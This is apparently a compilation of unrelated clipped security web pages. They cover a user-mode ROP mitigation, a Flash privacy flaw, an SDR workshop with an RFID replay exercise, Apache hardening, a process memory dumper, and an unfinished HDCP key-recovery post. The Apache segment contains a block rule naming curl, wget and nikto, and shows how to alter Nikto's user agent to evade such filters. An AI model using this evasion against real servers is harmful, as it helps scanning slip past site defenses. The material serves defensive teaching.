#### Duplicator Info embedded in unformatted track \(C64\)

<img src='img/Temp2_7614.png' width='400' />

#### Duplicator Info for "Ghostbusters" \(C64, Activision\)

<img src='img/Temp2_7612.png' width='600' />

#### Duplicator Info for "7 Cities of Gold" \(Atari, Electronic Arts\)

<img src='img/Temp2_7616.png' width='600' />

#### Duplicator Info for "Decathlon" \(C64, Activision\)

<img src='img/Temp2_7613.png' width='600' />

#### Duplicator Info for "Ikari Warriors" \(C64, Elite\)

<img src='img/Temp2_7615.png' width='600' />

# » Implementing Windows 8 ROP Mitigation for Fun and Profit Iranian Honeynet
Project

**Created:**| _12/18/2011 4:48:58 PM_  
---|---  
**Updated:**| _12/18/2011 4:48:58 PM_  
**Author:**| __  
**Tags:**| _rop_  
  

## Implementing Windows 8 ROP Mitigation for Fun and Profit

December 17, 2011 — shahriyar

The story begins when I saw the new Windows 8 security mitigation implemented
by PsValidateUserStack\(\) kernel function\( I believe this method introduced
by Piotr Bania for the first time\). This function is implemented for
protecting users from stack exchange method used in modern exploits for
bypassing DEP and ASLR by pointing ESP to the attacker controlled heap address
range. If you check this function, you will see all references to it are from
memory management functions such as NtAllocateVirtualMemory\(\) etc.

<img src='img/Temp2_10795.png' width='300' height='100' />

What this function actually does is monitoring ESP value when one of memory
manipulation functions are called. PsValidateUserStack will get bottom and top
of stack for current thread from ETHREAD and check it against current ESP
value. If ESP doesn’t point to the actual Stack address range which allocated
during thread creation and initialization, the function will terminate the
process by throwing a STATUS\_STACK\_BUFFER\_OVERRUN exception. Here is the
PsValidateUserStack\(\) pseudo code reversed by Alex Ionescu :

> char \_\_cdecl PsValidateUserStack\(\)
> \{
> char Status; // al@1
> \_KTRAP\_FRAME \*TrapFrame; // ecx@3
> \_TEB \*Teb; // ecx@3
> void \*.Eip; // \[sp+10h\] \[bp-88h\]@3
> unsigned int .Esp; // \[sp+14h\] \[bp-84h\]@3
> void \*StackLimit; // \[sp+18h\] \[bp-80h\]@3
> void \*StackBase; // \[sp+1Ch\] \[bp-7Ch\]@3
> \_EXCEPTION\_RECORD ExitStatus; // \[sp+24h\] \[bp-74h\]@6
> CPPEH\_RECORD ms\_exc; // \[sp+80h\] \[bp-18h\]@3
> CurrentThread = \(\_ETHREAD \*\)\_\_readfsdword\(0x124u\);
> Status =
> LOBYTE\(CurrentThread->Tcb.\_\_\_u42.UserAffinity.Reserved\[0\]\);// //
> PreviousMode == User
> if \( Status \)
> \{
> \_\_asm \{ bt dword ptr \[edx+58h\], 13h \} // // KernelStackResident,
> ReadyTransition, Alertable
> Status = \_CF;
> if \( \_CF \!= 1 \)
> \{
> TrapFrame = CurrentThread->Tcb.TrapFrame;
> .Esp = TrapFrame->HardwareEsp;
> .Eip = \(void \*\)TrapFrame->Eip;
> Teb = \(\_TEB \*\)CurrentThread->Tcb.Teb;
> ms\_exc.disabled = 0;
> StackLimit = Teb->DeallocationStack;
> StackBase = Teb->NtTib.StackBase;
> ms\_exc.disabled = -2;
> Status = .Esp;
> if \( .Esp < \(unsigned int\)StackLimit || .Esp >= \(unsigned int\)StackBase
> \)
> \{
> memset\(&ExitStatus, 0, 0x50u\);
> ExitStatus.ExceptionCode = STATUS\_STACK\_BUFFER\_OVERRUN;
> ExitStatus.ExceptionAddress = .Eip;
> ExitStatus.NumberParameters = 2;
> ExitStatus.ExceptionInformation\[0\] = 4;
> ExitStatus.ExceptionInformation\[1\] = .Esp;
> Status = DbgkForwardException\(&ExitStatus, 1, 1\);
> if \( \!Status \)
> \{
> Status = DbgkForwardException\(&ExitStatus, 0, 1\);
> if \( \!Status \)
> Status = ZwTerminateProcess\(\(HANDLE\)0xFFFFFFFF,
> ExitStatus.ExceptionCode\);
> \}
> \}
> \}
> \}
> return Status;
> \}
Protection mechanism is pretty simple. So I decided to implement it from user-
mode for other versions of Windows operation system. It was one day of pure
fun <img src='img/Temp2_10796.png' alt=':)' /> what actually my code does is
monitoring ESP value each time a memory management function is called, just
like the kernel\! And in case of anomaly, rise the
STATUS\_STACK\_BUFFER\_OVERRUN exception.

_Note 1: This is a 32bit version of the program. You need to manually inject
it into your desired process \(or use AppInit\_DLLs to do it globally\)._  
_Note 2: check outDan Rosenberg blog to see how easy it is to bypass this
mitigation <img src='img/Temp2_10797.png' alt=';)' /> _

Download RopDosham

# SMBlog -- 21 October 2011

**Created:**| _10/25/2011 11:31:33 AM_  
---|---  
**Updated:**| _10/25/2011 11:31:33 AM_  
**Author:**| __  
**Tags:**| _Flash Mac-hacking_  
  

## The Sins of the Flash

###  21 October 2011

Recent news stories \(based on research by Stanford student Feross
Aboukhadijeh\) state that an Adobe bug made it possible for remote sites to
turn on a viewer's camera and microphone. That sounds bad enough, but that's
not the really disturbing part. Consider this text from the Register article:

> Adobe said on Thursday it was planning to fix the vulnerability, which stems
> from flaws in the Flash Player Settings Manager. The panel, which is used to
> designate which sites may access feeds from an enduser's camera and mic, is
> delivered in the SWF format used by Flash.
> ...
> Because the settings manager is hosted on Adobe servers, engineers were able
> to close the hole without updating enduser software, company spokeswoman
> Wiebke Lips said.
That's right — code on a remote computer somewhere decides whether or not
random web sites can spy on you. If someone changes that code, accidentally or
deliberately, your own computer has just been turned into a bug, without any
need for them to attack your machine.

From a technical perspective, it's simply wrong for a design to outsource a
critical access control decision to a third party. _My computer_ should decide
what sites can turn on my camera and microphone, not one of Adobe's servers.

The policy side is even worse. What if the FBI wanted to bug you? Could they
get a court order compelling Adobe to make an access control decision that
would turn on your microphone? I don't know of any legal rulings on this point
directly, but there are some analogs. In _The Company v. U.S._ , 349 F.3d 1132
\(Nov. 2003\), the 9th Circuit considered a case with certain similarities.
Some cars are equipped with built-in cell phones intended for remote
assistance. OnStar is the best-known such system; in this case, analysis of
court records suggests that ATX Technologies was involved. Briefly, the FBI
got a court order requiring "The Company" to turn on the mike in a suspect's
car. The Court of Appeals quashed that order, but _only_ because given the way
that particular system was designed, turning it into a bug disabled its other
functionality. That, the Court felt, conflicted with the wording of the
wiretap statute which required a "minimum of interference" with the service.
If the service had been designed differently, the order would have stood. By
analogy, if a Flash-tap doesn't interfere with a user's ability to have normal
Flash-based voice and video interactions with a web site, such a court order
would be legal.

No wonder the NSA's Mac OS X Security Configuration guide says to disable the
camera and microphone functions, by physically removing the devices if
necessary.

# The History of Computer Viruses « CYBER ARMS – Computer Security

**Created:**| _10/28/2011 10:33:14 AM_  
---|---  
**Updated:**| _10/28/2011 10:33:14 AM_  
**Author:**| __  
**Tags:**| _antivirus_  
  

## The History of Computer Viruses

<img src='img/Temp2_8136.jpg' width='550' height='2418' alt='alt' />

Received this today from our friends at Bitdefender and thought we would pass
it along. Hope you enjoy it\!

### Share this:

  * StumbleUpon
  * Digg
  * Reddit
  * Twitter
  * 

### Like this:

Like

Be the first to like this post.

~ by D. Dieterle on October 26, 2011.

Posted in Computer Security  
Tags: Anti-Virus, BitDefender, Malware, Malware Removal, Trojans, Virus

### One Response to “The History of Computer Viruses”

  1. \[...\] The History of Computer Viruses « CYBER ARMS – Computer Security. \[...\]
Storia. at Quasi.dot said this on October 26, 2011 at 3:14 pm | Reply

### Leave a Reply

Enter your comment here...

  * Guest
  * Log In
  * Log In
  * Log In

<img src='img/Temp2_8137.jpg' width='25' alt='Gravatar' />

Email \(required\) \(Not published\)

Name \(required\)

Website

Notify me of follow-up comments via email.

Notify me of new posts via email.

# Troopers13 – 2-Day Workshop: Software Defined Radio - TROOPERS

**Created:**| _2/25/2013 12:37:25 PM_  
---|---  
**Updated:**| _2/26/2013 3:06:05 PM_  
**Author:**| __  
**Tags:**| __  
  

## Troopers13 – 2-Day Workshop: Software Defined Radio

The two day software defined radio \(SDR\) workshop is an introduction to
digital signal processing, software radio, and the powerful tools that enable
the growing array of SDR projects within the hacker community. This course
takes a unique “software radio for hackers” approach, building on the
participants’ knowledge of computer programming and introducing them to the
forefront of digital radio technology. Participants will learn how to
transmit, receive, and analyze radio signals and will be prepared to use this
knowledge in the research of wireless communication security.

## Who should attend?

Anyone who has ever taken an interest wireless systems or signal processing.
We teach a mixture of digital signal processing and RF theory, using the GNU
Radio tools for demonstration and experimentation either individually or in
groups. A background in software development and an interest in security are
helpful but not required.

## Agenda

**Introduction to Software Defined Radio**

  * Overview of SDR
  * What people have done with software radio in the hacker community
  * GNU Radio architecture and what it includes
  * What you can do in GNU Radio Companion vs. python vs. C++
  * Capabilities of HackRF, rtl-sdr, and other SDR hardware platforms

**Exercise: Finding a Signal**

  * Using GNU Radio to locate and receive a radio signal
  * Signal analysis with Baudline

**Complex vs. Real Signals**

  * How to think in the complex plane
  * Why we use complex signals for software radio

**Exercise: Working with Complex Signals \(part 1\)**

  * A software challenge

**Exercise: Working with Complex Signals \(part 2\)**

  * Exploring real and complex signals in GNU Radio Companion

**Aliasing and Sampling Theory**

  * Introduction to sampling and aliasing
  * Negative frequencies: what they mean in real vs. complex signals
  * Importance of anti-aliasing filters
  * The Nyquist criterion

**Exercise: Transmission and Simulation**

  * Transmit a signal with GNU Radio
  * Simulate both transmission and reception on a single computer

**Exercise: Digital Filters**

  * Explore different types of filters in GNU Radio Companion

**Bandwidth**

  * The term “bandwidth” and what it means in the context of radio communications
  * Familiarity with the bandwidth of different wireless technologies
  * Uses of filters

**Exercise: Replay**

  * Attack an active RFID security device by capturing and replaying a signal

**Modulation**

  * amplitude modulation
  * frequency modulation
  * phase modulation
  * analog vs. digital modulations

**Exercise: Modulation Identification**

  * Try to identify the type of modulation used in some sample transmissions

**Reverse Engineering**

  * Using online resources
  * Finding a signal with GNU Radio
  * Signal analysis
  * Determining signal characteristics \(frequency, bandwidth, modulation, symbol rate\)

**Exercise: Reverse Engineering**

  * Investigate a device experimentally and/or online

**Decoding Digital Signals**

  * Digital Modulations
  * Synchronization
  * Correlation

**Exercise: Decoding**

  * Decode a digital radio transmission

**The Discrete Fourier Transform**

  * Demystification of the most useful algorithm in signal processing
  * The Fast Fourier Transform \(FFT\)



## What should I bring?

**Laptop**



There are no minimum processing power or memory requirements but signal
processing is an intensive application, so more of both is always useful. A
native Linux installation is strongly recommended. High-Speed USB 2.0 is
required.

**Required Software**

We’ll be working with the GNU Radio toolkit which is an open-source signal
processing framework. In order to make the best use of workshop time, you
should bring a working copy already installed. Detailed installation
instructions and assistance will be provided by email prior to the workshop.

You should also install Baudline, a visual signal analysis tool.

**Software Radio Peripheral**

An rtl-sdr dongle will be provided to each student. This will be a unit that
you can take home.

**Wireless Devices**

Anything with a radio that you think might be fun to work with or show off.
Examples that people have brought in the past:

  * Garage door remote controls
  * Remote keyless entry devices
  * Remote control toys
  * Mobile phone jammers
  * Amateur radio SDR equipment



## About the Instructor

Michael Ossmann is a wireless security researcher with more than a decade of
experience teaching network management, information security, and software
radio courses. He has spoken at hacker conferences such as ShmooCon, DEF CON,
and ToorCon, and he founded Great Scott Gadgets in an effort to put exciting,
new tools into the hands of innovative people.

**We are looking forward to an interesting workshop with you\!  
_The ERNW / TROOPERS Team_**

# Episode94 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:37:07 PM_  
---|---  
**Updated:**| _8/5/2009 12:37:21 PM_  
**Author:**| __  
**Tags:**| _setup pauldotcom web_  
  

# Tech Segment - Apache Hardening

Last week's segment focused on how to use the newly updated web server testing
tool called nikto. This week we will look at some nikto results and cover how
to secure, or harden, your Apache server such that it will be much harder for
attackers to glean information and attack. I will go into some really cool
Rewrite rules, then show you how to modify Nikto to bypass them. I believe it
is important to know how to run the tools, how to defend against them, and
what limiations you have in your defenses. So lets start by scanning our web
server with Nikto:

[code]

    ---------------------------------------------------------------------------
    - Nikto 2.01/2.01     -     cirt.net
    + Target IP:       10.13.37.32
    + Target Hostname: web.yourdomain.com
    + Target Port:     80
    + Start Time:      2008-01-04 12:52:03
    ---------------------------------------------------------------------------
    + Server: Apache/1.3.34 Ben-SSL/1.55 (Debian)
    + /robots.txt - contains 1 'disallow' entry which should be manually viewed (added to mutation file lists) (GET).
    + Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
    + OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
    + Apache/1.3.34 appears to be outdated (current is at least Apache/2.2.6). Apache 1.3.39 and 2.0.61 are also current.
    + Ben-SSL/1.55 appears to be outdated (current is at least 1.57)
    + OSVDB-877: TRACK / : TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
    + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
    + OSVDB-3092: GET /downloads/ : This might be interesting...
    + OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons
    + 4345 items checked: 9 item(s) reported on remote host
    + End Time:        2008-01-04 13:00:51 (528 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    
[/code]

As you can see, Houston we have a problem. Our web server is vulnerable to
XST, or Cross-Site Request Tracking, which could potentially allow attackers
to steal cookies or perform XSS attacks. Our web server also gives away
important information to the attacker in the form of the Apache and Mod\_SSL
version. Lets start with some basic hardening and configure our directory
settings to be very restrictive:

[code]

    <Directory /var/www/>
    
    # Prevents TRACE from allowing attackers to find a
    # path through cache or proxy servers.
    <LimitExcept GET POST>
    deny from all
    </LimitExcept>
    
    # FollowSymLinks allows a user to navigate outside the doc tree, 
    # and Indexes will reveal the contents of any directory in your doc tree.
    # Includes allows .shtml pages, which use server-side includes (potentially 
    # allowing access to the host).  If you really need SSI, use IncludesNoExec instead.
    
    Options -FollowSymLinks -Includes -Indexes  -MultiViews
    
    # AllowOverride None will prevent developers from overriding these 
    # specifications in other parts of the doc tree.
    AllowOverride None
    
    Order allow,deny
    Allow from all
    
    </Directory>
    
    
[/code]

To minimize the information given out to attackers we can prevent the server
from giving version information in headers and in error pages using the
following configuration:

[code]

    ServerSignature Off
    
    ServerTokens Prod
    
    
[/code]

Then put in a custom 404 and 500 message:

[code]

    ErrorDocument 500 "The server encountered an error with your request
    ErrorDocument 404 /error.html
    
    
[/code]

The more generic, the better.

Implement the following Rewrite rule **in each virtual host** to prevent the
bad HTTP methods, like TRACE and TRACK. Also, restrict the user agents to
prevent scanning \(Thanks to http://www.0x000000.com/index.php?i=473 for the
excellent tips\):

[code]

    RewriteEngine on
    RewriteLogLevel 3
    RewriteLog /var/log/apache-ssl/rewrite.log
    RewriteCond %{HTTP_USER_AGENT} ^(.*)(java|libwww-perl|libwwwperl|snoopy|curl|wget|python|nikto|scan)(.*) [NC,OR]
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|HEAD|DELETE) [NC]
    RewriteRule .* - [F]
    
    
[/code]

The above rules do neat stuff like block the bad HTTP methods and User Agents.
I like to enable logging on my rewrite rules for further analysis. Now when
you scan with Nikto, you get:

[code]

    ---------------------------------------------------------------------------
    - Nikto 2.01/2.01     -     cirt.net
    + Target IP:       10.13.37.32
    + Target Hostname: web.yourdomain.com
    + Target Port:     80
    + Start Time:      2008-01-04 15:07:27
    ---------------------------------------------------------------------------
    + Server: Apache
    + All CGI directories 'found', use '-C none' to test none
    + OSVDB-6659: GET /ZP50b6fssDgjmdHOFjfhLGNfUJFzj9q2MFx5EHk24DfYqfu0HOPXV51l5zcHNk4bmE7UVwjpAQ2OOhzeBLQ83OIaKFSEc4EUjcIwPPzZgLNIxqW9A1Cq94i2UEjf3O5knE6VzbGX4H4aUTNvppzNc3vaoltuDpfZavPSn9bUadIdJbFCux4jivoSoVxbhGmJOk59djTdwNIzIs8ifppk1YWOfKTX3ba<font%20size=50>DEFACED<!--//-- : MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version.
    + 17455 items checked: 1 item(s) reported on remote host
    + End Time:        2008-01-04 15:16:11 (524 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    
[/code]

Which is a false positive for some odd reason that I have not figured out.
Notice that the results are totaly bogus too, as we should have at least found
the robots.txt file. This is because every single one of our requests has been
blocked by the rewrite rule. You will see something like the following in your
Apache access.log:

[code]

    10.13.37.99 - - [03/Jan/2008:15:14:09 -0500] "GET /demo/sql/index.jsp HTTP/1.0" 403 216 "-" "Mozilla/4.75 (Nikto/2.01 )" "-"
    10.13.37.99 - - [03/Jan/2008:15:14:09 -0500] "GET /cgi-perl/.htaccess HTTP/1.0" 403 216 "-" "Mozilla/4.75 (Nikto/2.01 )" "-"
    10.13.37.99 - - [03/Jan/2008:15:14:09 -0500] "GET /cgi-perl/.htaccess.old HTTP/1.0" 403 220 "-" "Mozilla/4.75 (Nikto/2.01 )" "-"
    10.13.37.99 - - [03/Jan/2008:15:14:09 -0500] "GET /cgi-perl/.htaccess.save HTTP/1.0" 403 221 "-" "Mozilla/4.75 (Nikto/2.01 )" "-"
    10.13.37.99 - - [03/Jan/2008:15:14:10 -0500] "GET /cgi-perl/.htaccess~ HTTP/1.0" 403 217 "-" "Mozilla/4.75 (Nikto/2.01 )" "-"
    
    
[/code]

  
Note that we are sending 403 Forbidden messages back to the client in response
to triggering the rewrite rule. If you turned on rewrite rule logging, you
will see stuff like this in your rewrite.log:

[code]

    10.13.37.99 - - [03/Jan/2008:15:16:10 -0500] [web.yourdomain.com/sid#80ac3cc][rid#8104ed4/initial] (2) forcing '/sites/default/settings.php' to be forbidden
    10.13.37.99 - - [03/Jan/2008:15:16:10 -0500] [web.yourdomain.com/sid#80ac3cc][rid#8104ed4/initial] (2) init rewrite engine with requested uri /cgi-perl/c32web.exe/GetImage
    10.13.37.99 - - [03/Jan/2008:15:16:10 -0500] [web.yourdomain.com/sid#80ac3cc][rid#8104ed4/initial] (3) applying pattern '.*' to uri '/cgi-perl/c32web.exe/GetImage'
    
    
[/code]

Well, if you a pen tester this really stinks. So just go into the nikto code
and change your user agent. Its located in the nikto directory in
plugins/nikto\_core.plugin, here's the change that I made:

[code]

    #$NIKTO{useragent}="Mozilla/4.75 ($NIKTO{name}/$NIKTO{version} $request{'User-Agent'})"; # This was the old line
    
    $NIKTO{useragent}="Mozilla/4.75 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) $request{'User-Agent'})";
    
    
[/code]

Now you will appear as if you are using IE 7 when running Nikto, which has a
much better chance of slipping through filters, and our scan now looks like
this:

[code]

    ---------------------------------------------------------------------------
    - Nikto 2.01/2.01     -     cirt.net
    + Target IP:       10.13.37.32
    + Target Hostname: web.yourdomain.com
    + Target Port:     80
    + Start Time:      2008-01-04 15:24:32
    ---------------------------------------------------------------------------
    + Server: Apache
    + /robots.txt - contains 1 'disallow' entry which should be manually viewed (added to mutation file lists) (GET).
    + OSVDB-3092: GET /downloads/ : This might be interesting...
    + 4345 items checked: 2 item(s) reported on remote host
    + End Time:        2008-01-04 15:33:20 (528 seconds)
    ---------------------------------------------------------------------------
    + 1 host(s) tested
    
    
[/code]

W00t\! We slipped past the filters and found a robots.txt file and an
interesting folder called downloads. Here's my final tip, use robots.txt as a
honeypot and forbid a directory in there that contains nothing. Then watch all
attempts to access that directory and even go so far as to actively ban those
IP addresses.

# virtualsectiondumper - Just another Virtual Section Dumper for Windows
Processes - Google Project Hosting

**Created:**| _2/23/2012 9:46:56 PM_  
---|---  
**Updated:**| _2/23/2012 9:47:01 PM_  
**Author:**| __  
**Tags:**| _windows environment Memory_  
  

_My favorites_ ▼ | _Sign in_
<img src='img/Temp2_10682.png' alt='Logo' /> |  virtualsectiondumper Just another Virtual Section Dumper for Windows Processes |   
---|---|---  
Project Home Downloads Wiki Issues Source

Summary Updates People |   
---|---  
Project Information

  * Activity <img src='img/Temp2_10684.png' /> Medium
  * Project feeds
  *   * **Code license**
  * GNU GPL v3
  *   * **Labels**  
section, dumper, process, windows

  * 
**Members**

cracking...@gmail.com, rcer...@gmail.com, ncr.argl...@gmail.com

  * 
Featured **Downloads**

  * VSD.v1.0.x64.zip
  * VSD.v1.1.x86.zip
  * Show all »
  * 
Links

  * **External links**
  * crackinglandia's blog
  * 
|

## What's VSD?

_VSD \(Virtual Section Dumper\)_ is intented to be a tool to visualize and
dump the memory regions of a running 32 bits or a 64 bits process in many
ways. For example, you can dump the entire process and fix the _PE Header_ ,
dump a given range of memory or even list and dump every virtual section
present in the process.

## How to use VSD?

When running, _VSD_ lists all the running processes in a the _list-view_ ,
then, you can use any of the buttons, _check-boxes_ or the _pop-up_ menu to
interact with the processes. Here is the list of current features: **Main
window options:**

  * Refresh: refreshes the processes list. 

  * About: displays the about window. 

  * Full Dump: paste header from disk: this option is only valid when you select _" Full Dump"_ over a process. Using this, you can read the original _PE header_ of a running process from the disk and paste it in memory before dumping. This is specially useful when dealing with packers because they usually change the data in the memory of a packed program, specially the _PE header_ section, to avoid the dumping process. 

  * Full Dump: fix header: this option is only valid when you select _" Full Dump"_ over a process. Using this, you can fix the _Raw Offset_ and _Virtual Offset_ of a process, in other words, _Raw Offset_ == _Virtual Offset_. 

  * Exclude x64 processes: \(Only in the x86 version\) when running on Windows 7 \(x64\), _VSD_ can show you the x64 processes although you can't do too much with them. If you don't want to see these processes you can use this options to filter them from the list. 

You can use this feature **ONLY** when running with **Administrative
privileges** \(Vista/Seven/Server 2008 on both platforms, _x86_ and _x64_\),
if not, _VSD_ will show you all the running processes. This is due to _VSD_
can't obtain a handle via _OpenProcess_ to interact with the processes \(note:
if you know what I'm talking about and you have an idea on how to
improve/solve this problem, just email me\).

  * Total number of processes: prints the total number of running processes. 

  * Sort process by Name, PID, ImageBase or ImageSize: you can sort the list of processes by doing click in the top of every column. 

**Pop-up menu options:**

  * Select All: selects all the processes on the list. 

  * Copy to Clipboard: copies the selected items to the clipboard. 

  * Dump Full: dumps the entire process' memory to disk. 

  * Dump Partial: dumps a partial memory region to disk. You must enter a valid address and size. 

  * Dump Regions: displays the regions windows where you can interact with all the virtual sections of the process. 

  * Kill Process: terminates the execution of the selected process. 

  * Refresh: refreshes the process list. 

**Dump Regions window options:**

  * Sort virtual sections by Address, Size, Protect, State or Type: by clicking on the top of every column, you can sort the data listed in the list-view. 

  * Dump: dumps the selected virtual section. Not all sections can be dumped, for example, a section marked as free can't be dumped. 

  * Refresh: refreshes the sections list. 

  * Close: closes the sections window. 

## Project Information

 _VSD_ was tested under Windows XP Professional SP3, Windows 7 Ultimate \(x86
& x64\), wine under Ubuntu 11.04 x64.

## Greetings

As always, I have to thank a lot of people without whom this tool had not seen
the light. Many, many thanks to:

  * **marciano** : for being my friend, beta tester and for reporting a lot of bugs and features. 
  * **MCKSys Argentina** : for being my other beta tester. 
  * **Guan De Dio** : for his opinions to improve each of my tools :P 
  * **Nacho\_dj** : for being a friend in ARTeam and for supporting me. 
  * **Shub-Nigurrath** : for being an amazing friend, for teaching me with his tutorials and for supporting me. 
  * To all my friends in _CLS_ , _ARTeam_ , _SnD_ , _B@S_ , _OpenRCE_ , _exetools_ and _Woodmann_. 

## Latest changes

### VSD x86

**Version: 1.1**

  * Fixed a bug in the _PastePEHeader\(\)_ function when calculating the offset of the original PE Header. 

**Version: 1.0**

  * First stable release \(I hope so :\) 

### VSD x64

**Version: 1.0**

  * First stable release. 

## Screenshots

### VSD x86

<img src='img/Temp2_10683.png' />

### VSD x64

<img src='img/Temp2_10681.png' />  
---|---  
©2011 Google -

# Militarizing Your Backyard with Python and AI

**Created:**| _4/7/2012 11:09:00 AM_  
---|---  
**Updated:**| _4/7/2012 11:09:00 AM_  
**Author:**| __  
**Tags:**| _hardware python AI_  
  
| Militarizing Your Backyard with Python and AI  
---  
Written by Harry Fairhead  
---  
Thursday, 22 March 2012 10:08  
Shooting squirrels with a water cannon might not seem to be a serious project,
but it involves AI and a lot of hardware.  If you compare what you can buy in
terms of intelligent devices to what you could create with the latest
technology, you have to notice that there is a big gap. It is very similar to
the early days of the home computer revolution. Back then there were pocket
calculators or expensive minicomputers. Hobbyists brought the low cost
machines that created a revolution to the market. First by building their own
and later by selling their creations. We seem to be in a similar situation
with AI and robotics at the moment and DIY projects seem to be the only way to
get what you really want at a reasonable price. Take the problem of a squirrel
scarer. If you want to get rid of pesky squirrels, or any similar small
creature, your only options are to get a gun or some low tech device that
couples an IR sensor with a hose pipe and valve. Kurt Grandis took some
cutting edge and open source AI tools, Python, an Arduino and a SuperSoaker
and built the perfect squirrel hosing machine. To quote from his PyCon 2012
talk: _" Has your garden been ravaged by the marauding squirrel hordes? Has
your bird feeder been pillaged? Tired of shaking your fist at the neighbor
children? Learn how to use Python to tap into computer vision libraries and
build an automated sentry water cannon capable of soaking intruders."_ The
project involved Open Computer Vision \(OpenCV\), an a SVM learning procedure
that he trained to tell the difference between a squirrel and a non-squirrel.
Some manual feature extraction was used in the initial processing. Squirelness
seems to come down to "blob size", color and texture. After "perfecting" the
classifier the hardware came next - a SuperSoaker Mark I was used as the
"water cannon". A pair of servos were used to aim the gun and a third to pull
the trigger. <img src='img/Temp2_5372.jpg' width='150' height='149'
alt='squirelgun' /> You can see the entire talk in the video below - but if
you just want to see the squirrels get washed it happens at 16 minutes in.
<img src='img/Temp2_5371.jpg' width='300' /> The first version just didn't
have the fire power. Squirrels seem to be so persistent that a SuperSoaker
runs out of water all too quickly. The next version will be more sophisticated
and have a much bigger water gun.

# Obviously a Major Malfunction...: HDCP is dead. Long live HDCP. A peek into
the curious world of HDMI copy protection...

**Created:**| _2/18/2013 1:04:56 PM_  
---|---  
**Updated:**| _2/18/2013 1:04:56 PM_  
**Author:**| __  
**Tags:**| _drm_  
  

### HDCP is dead. Long live HDCP. A peek into the curious world of HDMI copy
protection...

I must confess, I'm confused\!  
  
HDCP \(the copyright protection mechanism in HDMI\) is broken. I don't mean
just a little bit broken, I mean thoroughly, comprehensively, irredeemably and
very publicly broken. Broken in such a way that any possible recovery would
mean layering it with so much additional new infrastructure as to render it
entirely pointless. Broken. B-R-O-K-E-N.  
  
How can I put this?  
  
It doesn't work.  
  
So why, then, is it still being shoved down my throat?  
  
Why is it that if I go to iTunes to buy or rent a movie, it will tell me that
my PC must support HDCP? Why does my home theatre amp need to support HDCP?
Why does my HDMI switcher need to support HDCP? Why is _**anything**_ on Bob's
Green Earth being made with HDCP anywhere near it any more???  
  
I'm confused.  
  
Normally, if something is this badly broken, particularly in the security
world, at least some effort will be made to replace it with something that
actually works.  
  
Take WEP for example: Broken. Replaced.  
  
HDCP: Broken. Let's have some more\! Come on in, the HDCP's lovely\!  
  
I should point out here that I'm not claiming to have anything to do with
breaking it. I'm not even going to tell you about some new and interesting way
of breaking it that I've discovered \(although I will show you how easy it is
to exploit the vulnerabilities\).  
  
What I will tell you is what I've learned about it, which, if you're like me
and thoroughly confused, you may find interesting and/or useful. I know I
found it hard enough to get my head around it, so maybe my little experiments
in figuring out what's really going on will help someone, somewhere, to
realise the jig is up and switch the damn thing off. Not likely I know, but
here's hoping\!  
  
Or maybe someone will explain that I've completely misunderstood and actually
it's all perfectly OK.  
  
Whatever. For what it's worth, here it is...  
  
So in what way is it broken?  
  
I've previously talked about attacking crypto systems, and the fact that your
cryptographic keys are your most precious possession. It follows, therefore,
that the highest priority in the design of a crypto system should be
protection of those keys. HDCP not only fails to protect the keys, but by it's
very design almost guarantees that not only will the keys be compromised, but
that through this one compromise, _**ALL**_ devices will go with it. Yes, by
ALL I mean literally every HDCP capable device on the planet. This is because
of the way keys are managed. The way it's done may seem elegant in theory, but
as a practical solution it is a catastrophic failure. Way back in 2001 a paper
was published explaining why this was the case.  
  
And, yes, of course, the inevitable happened. The master key data, from which
all private keys are derived, was compromised.  
  
However, you may argue that even armed with the master key data, the recovery
of a specific device's key will still take considerable effort, and will be
beyond the capabilities of most potential attackers \(this is an argument much
favoured by industry, and is often used to discount such attacks\). I thought
the same, and so my contribution to the debate today is to determine if I can
recover an arbitrary device's key, armed only with tools I have lying around
the workshop \(or can be bought cheaply on the net\), using information that
can be freely searched on the net, and, most importantly, without damaging the
device\(s\) in question.  
  
So how do we go about figuring out what's really going on under the hood?  
  
Well, the first thing I did was to build myself an HDMI breakout cable. This
turned out not to be as daunting a task as I at first thought. In fact it's
pretty simple:  
  
Get a nice short HDMI cable and cut one end off, or, better still, get a
longer one and cut it in half, make two, and give one to your local
hackspace\!  
  
I had one that had been stepped on, so I just cut the broken end off \(my
other half thinks I'm more than a little mental for "hoarding" this kind of
crap: "Why the hell would you want to keep that broken cable???", but being
able to do stuff like this on the spur of the moment on a rainy Sunday
afternoon \(did I mention I live in England?\) is the lifeblood of the
hacker\!\)  
  
Get one \(or two\) of these:  
  
  

<img src='img/Temp2_5701' width='320' height='242' />

  
The magic search term for this is "HDMI Screw Terminal". Once you know that
you'll find loads of them, and you'll wonder why it took you so long to figure
that out in the first place. :\)  
  
Now you can plug the remaining end of your HDMI cable into the socket, and
then buzz through each wire on the cut end to each of the screw terminals. As
you find each one, screw it in. This will only take a couple of minutes, and
once you've finished, the cable will be entirely looped back on itself, with
each pin connected one for one, like this:  
  

<img src='img/Temp2_5703' width='320' height='287' />

  
You now have a breakout cable. Add some probe wires to any of the lines you're
interested in, stick it in the middle of any HDMI connection, and you can
monitor it in realtime.  
  
Monitor it with what, though, and what are we looking for?  
  
Well, HDMI is not just a video cable. It is also a data cable which can be
used to send messages between the devices at each end. The messages can be for
various purposes \(including transporting the video and audio signals
themselves\) not least of which is the crypto key exchange for our friend
HDCP. It also does things like tell the transmission device such as your PC or
TV what the other end's capabilities are - resolution, colour schemes,
manufacturer's name, model, etc. There are also control capabilities, like
switching an amp to a different source, or turning volume up and down,
powering devices off, etc. Loads going on\!  
  
And this is where it starts to get a little tricky to follow. A lot of the
standards relating this stuff have been taken from other areas, such as VGA,
and so when you start poking around, you find yourself having to figure out
